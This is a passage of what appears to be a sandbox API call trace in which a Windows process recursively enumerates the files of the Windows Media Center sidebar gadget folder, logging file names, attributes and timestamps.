ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0208.043] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29e5e35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0208.043] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0208.043] GetProcessHeap () returned 0x550000 [0208.043] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0208.043] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenter.Gadget", cAlternateFileName="MEDIAC~1.GAD")) returned 1 [0208.043] GetProcessHeap () returned 0x550000 [0208.043] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0208.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0208.205] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.205] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0208.205] GetProcessHeap () returned 0x550000 [0208.205] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0208.205] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0208.206] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.206] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf14, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0208.206] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0208.206] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0208.206] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0208.206] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0208.207] GetProcessHeap () returned 0x550000 [0208.207] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0208.207] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0208.207] GetProcessHeap () returned 0x550000 [0208.207] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0208.207] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0208.207] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.207] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0208.207] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0 [0208.207] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0208.208] GetProcessHeap () returned 0x550000 [0208.208] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0208.208] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0208.208] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0208.208] GetProcessHeap () returned 0x550000 [0208.208] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0208.208] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0208.420] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.420] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mousedown.png", cAlternateFileName="")) returned 1 [0208.420] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc903c050, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc903c050, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mouseout.png", cAlternateFileName="")) returned 1 [0208.420] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90621ad, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90621ad, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mouseover.png", cAlternateFileName="")) returned 1 [0208.420] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90621ad, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90621ad, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69c, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_MCELogo_mousedown.png", cAlternateFileName="")) returned 1 [0208.420] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69c, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_MCELogo_mouseout.png", cAlternateFileName="")) returned 1 [0208.420] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_MCELogo_mouseover.png", cAlternateFileName="")) returned 1 [0208.420] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_play.png", cAlternateFileName="")) returned 1 [0208.420] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_mousedown.png", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_mouseout.png", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_mouseover.png", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x61ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_thumb.jpg", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1682, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehshellLogo.png", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout_background.png", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Flyout_Thumbnail_Shadow.png", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc912087e, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc912087e, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x24db4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Main_Background_Loading.png", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91469db, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc91469db, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Main_Background_QuickLaunch.png", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91469db, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc91469db, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x86e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Main_Gradient.png", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Star_Empty.png", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Star_Full.png", cAlternateFileName="")) returned 1 [0208.421] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Star_Half.png", cAlternateFileName="")) returned 1 [0208.422] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9192c95, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9192c95, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Waitcursor.gif", cAlternateFileName="")) returned 1 [0208.422] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9192c95, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9192c95, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_WMC_LogoText.png", cAlternateFileName="")) returned 1 [0208.422] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0208.422] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f27, dwReserved0=0x0, dwReserved1=0x0, 